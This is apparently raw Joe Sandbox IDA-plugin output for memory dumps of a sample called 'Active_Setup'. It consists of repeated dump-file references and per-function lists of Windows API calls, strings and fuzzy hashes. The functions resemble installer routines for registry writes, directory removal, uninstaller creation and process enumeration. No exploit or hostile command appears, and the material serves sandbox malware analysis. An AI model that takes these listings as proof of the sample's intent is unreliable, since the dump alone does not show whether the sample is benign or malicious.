Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
API String ID: 20674999-2124804629
Opcode ID: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction ID: f5db07f83b48746be4b9c4f5c588c21b75103c60b5638216cabcef37c42edb4d
Opcode Fuzzy Hash: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction Fuzzy Hash: 38919331900219EBDF109FA4CD88AAFBBB8EF44741F11447BE546F6281DB388A51CF68

Function 004040B8 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 210windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040416D
GetDlgItem.USER32(?,000003E8), ref: 00404181
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040419E
GetSysColor.USER32(?), ref: 004041AF
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004041BD
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004041CB
lstrlenW.KERNEL32(?), ref: 004041D6
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004041E3
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004041F2

Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00404124,?), ref: 00403FE1
Part of subcall function 00403FCA: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00404124,?), ref: 00403FF0
Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00404124,?), ref: 00404004

GetDlgItem.USER32(?,0000040A), ref: 0040424A
SendMessageW.USER32(00000000), ref: 00404251
GetDlgItem.USER32(?,000003E8), ref: 0040427E
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 004042C1
LoadCursorW.USER32(00000000,00007F02), ref: 004042CF
SetCursor.USER32(00000000), ref: 004042D2
ShellExecuteW.SHELL32(0000070B,open,00462540,00000000,00000000,00000001), ref: 004042E7
LoadCursorW.USER32(00000000,00007F00), ref: 004042F3
SetCursor.USER32(00000000), ref: 004042F6
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404325
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404337

Strings

N, xrefs: 0040426C
@%F, xrefs: 004042A7
open, xrefs: 004042DF

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
String ID: @%F$N$open
API String ID: 3928313111-3849437375
Opcode ID: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction ID: 2c1438ad93098d7b112eeb2502b55652a68651cb38e922ac8f4fb42b83a973d4
Opcode Fuzzy Hash: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction Fuzzy Hash: 0F71A4B1900609FFDB109F60DD45EAA7B79FB44305F00843AFA05B62D1C778A991CF99

Function 00406A99 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 163filestringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(0045B2C8,NUL,?,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AA9
CloseHandle.KERNEL32(00000000,000000F1,00000000,00000001,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AC8
GetShortPathNameW.KERNEL32(000000F1,0045B2C8,00000400), ref: 00406AD1

Part of subcall function 00405DB6: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
Part of subcall function 00405DB6: lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

GetShortPathNameW.KERNEL32(000000F1,00460920,00000400), ref: 00406AF2
WideCharToMultiByte.KERNEL32(00000000,00000000,0045B2C8,000000FF,0045BAC8,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B1B
WideCharToMultiByte.KERNEL32(00000000,00000000,00460920,000000FF,0045C118,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B33
wsprintfA.USER32 ref: 00406B4D
GetFileSize.KERNEL32(00000000,00000000,00460920,C0000000,00000004,00460920,?,?,00000000,000000F1,?), ref: 00406B85
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406B94
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BB0
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406BE0
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,0045C518,00000000,-0000000A,0040987C,00000000,[Rename]), ref: 00406C37

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C4B
GlobalFree.KERNEL32(00000000), ref: 00406C52
CloseHandle.KERNEL32(?), ref: 00406C5C

Strings

NUL, xrefs: 00406A9E
%s=%s, xrefs: 00406B43
[Rename], xrefs: 00406BC8, 00406BD7
F, xrefs: 00406AE8

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: F$%s=%s$NUL$[Rename]
API String ID: 565278875-1653569448
Opcode ID: a2f4805b9b6d14c41e9e3fa236157f8587e3d6293513dd7448d110fd9e4d9510
Instruction ID: f97e154d5ee7f709bd30e138c0dd6e282719408add8f0d739c14b832633f1bd9
Opcode Fuzzy Hash: a2f4805b9b6d14c41e9e3fa236157f8587e3d6293513dd7448d110fd9e4d9510
Instruction Fuzzy Hash: AE412632104208BFE6206B619E8CD6B3B6CDF86754B16043EF586F22D1DA3CDC158ABC

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010D8
FillRect.USER32(00000000,?,00000000), ref: 004010ED
DeleteObject.GDI32(?), ref: 004010F6
CreateFontIndirectW.GDI32(?), ref: 0040110E
SetBkMode.GDI32(00000000,00000001), ref: 0040112F
SetTextColor.GDI32(00000000,000000FF), ref: 00401139
SelectObject.GDI32(00000000,?), ref: 00401149
DrawTextW.USER32(00000000,0046ADC0,000000FF,00000010,00000820), ref: 0040115F
SelectObject.GDI32(00000000,00000000), ref: 00401169
DeleteObject.GDI32(?), ref: 0040116E
EndPaint.USER32(?,?), ref: 00401177

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction ID: e7530e13063599d95e155ed3b2c7b7521dfa2668d538c4695d9c695e9582dc0d
Opcode Fuzzy Hash: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction Fuzzy Hash: 01516C71400209AFCB058F95DE459AF7FB9FF45311F00802EF992AA1A0CB78DA55DFA4

Function 00402880 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 131registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004028DA
lstrlenW.KERNEL32(004130D8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004028FD
RegSetValueExW.ADVAPI32(?,?,?,?,004130D8,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004029BC
RegCloseKey.ADVAPI32(?), ref: 004029E4

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

WriteRegBin: "%s\%s" "%s"="%s", xrefs: 004029A1
WriteRegDWORD: "%s\%s" "%s"="0x%08x", xrefs: 00402959
WriteRegExpandStr: "%s\%s" "%s"="%s", xrefs: 0040292A
WriteReg: error writing into "%s\%s" "%s", xrefs: 004029D4
WriteRegStr: "%s\%s" "%s"="%s", xrefs: 00402918
WriteReg: error creating key "%s\%s", xrefs: 004029F5

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: lstrlen$CloseCreateValuewvsprintf
String ID: WriteReg: error creating key "%s\%s"$WriteReg: error writing into "%s\%s" "%s"$WriteRegBin: "%s\%s" "%s"="%s"$WriteRegDWORD: "%s\%s" "%s"="0x%08x"$WriteRegExpandStr: "%s\%s" "%s"="%s"$WriteRegStr: "%s\%s" "%s"="%s"
API String ID: 1641139501-220328614
Opcode ID: 199461d8edf86377d08d919b3237cded7d86912c11f4486a8b12345fcf8899bb
Instruction ID: 4ea7a0066738be70411365ddd6f3e5606018e51d84950e7919a1ab5782edcef9
Opcode Fuzzy Hash: 199461d8edf86377d08d919b3237cded7d86912c11f4486a8b12345fcf8899bb
Instruction Fuzzy Hash: 3D41BFB2D00209BFDF11AF90CE46DAEBBB9EB04704F20407BF505B61A1D6B94B509B59

Function 00402E55 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,000000F0), ref: 00402EA9
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,000000F0), ref: 00402EC5
GlobalFree.KERNEL32(FFFFFD66), ref: 00402EFE
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,000000F0), ref: 00402F10
GlobalFree.KERNEL32(00000000), ref: 00402F17
CloseHandle.KERNEL32(?,?,?,?,?,000000F0), ref: 00402F2F
DeleteFileW.KERNEL32(?), ref: 00402F56

Strings

created uninstaller: %d, "%s", xrefs: 00402F3B

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID: created uninstaller: %d, "%s"
API String ID: 3294113728-3145124454
Opcode ID: 798440c094ce798643cb417ce1f8564fd9d3d890bd0199b89ac5e166078e0d1f
Instruction ID: 876417c632a2c352b67fb01c84f3ccb8dada3a759dccfb7ac575e016526b3130
Opcode Fuzzy Hash: 798440c094ce798643cb417ce1f8564fd9d3d890bd0199b89ac5e166078e0d1f
Instruction Fuzzy Hash: E231B272800115BBCB11AFA4CE45DAF7FB9EF08364F10023AF555B61E1CB794E419B98

Function 004060E7 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72filestringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE
GetFileAttributesW.KERNEL32(0046A560,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040613C
WriteFile.KERNEL32(00000000,000000FF,00000002,00000000,00000000,0046A560,40000000,00000004), ref: 00406175
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,0046A560,40000000,00000004), ref: 00406181
lstrcatW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00409678,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040619B
lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),?,?,004062D4,00000000), ref: 004061A2
WriteFile.KERNEL32(RMDir: RemoveDirectory invalid input(""),00000000,004062D4,00000000,?,?,004062D4,00000000), ref: 004061B7

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 00406195, 0040619A, 004061A1, 004061B0

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3734993849-2769509956
Opcode ID: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction ID: 719ae6cd10854ac59b0cdc08190af65770ef99398ad526dd54b0ef62760a23c4
Opcode Fuzzy Hash: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction Fuzzy Hash: 4621F271400200BBD710AB64DD88D9B376CEB02370B25C73AF626BA1E1E77449868BAD

Function 00403DCA Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00403DE4
GetSysColor.USER32(00000000), ref: 00403E00
SetTextColor.GDI32(?,00000000), ref: 00403E0C
SetBkMode.GDI32(?,?), ref: 00403E18
GetSysColor.USER32(?), ref: 00403E2B
SetBkColor.GDI32(?,?), ref: 00403E3B
DeleteObject.GDI32(?), ref: 00403E55
CreateBrushIndirect.GDI32(?), ref: 00403E5F

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction ID: efe235911933e34786796033030fc6f48e67331b78f43f6f4bde0ddab4ebbdd0
Opcode Fuzzy Hash: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction Fuzzy Hash: 7D1166715007046BCB219F78DE08B5BBFF8AF01755F048A2DE886F22A0D774DA48CB94

Function 004023F0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 83libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 0040241C

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040242D
FreeLibrary.KERNEL32(?,?), ref: 004024C3

Strings

Error registering DLL: Could not initialize OLE, xrefs: 004024F1
Error registering DLL: Could not load %s, xrefs: 004024DB
Error registering DLL: %s not found in %s, xrefs: 0040249A

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: MessageSendlstrlen$Library$FreeHandleLoadModuleTextWindowlstrcatwvsprintf
String ID: Error registering DLL: %s not found in %s$Error registering DLL: Could not initialize OLE$Error registering DLL: Could not load %s
API String ID: 1033533793-945480824
Opcode ID: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
Instruction ID: e967fad4df15afb35ea17a6f8951328f27fda4bee3b51f855042d01f5ead75df
Opcode Fuzzy Hash: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
Instruction Fuzzy Hash: 34219131904208BBCF206FA1CE45E9E7A74AF40314F30817FF511B61E1D7BD4A819A5D

Function 00402238 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
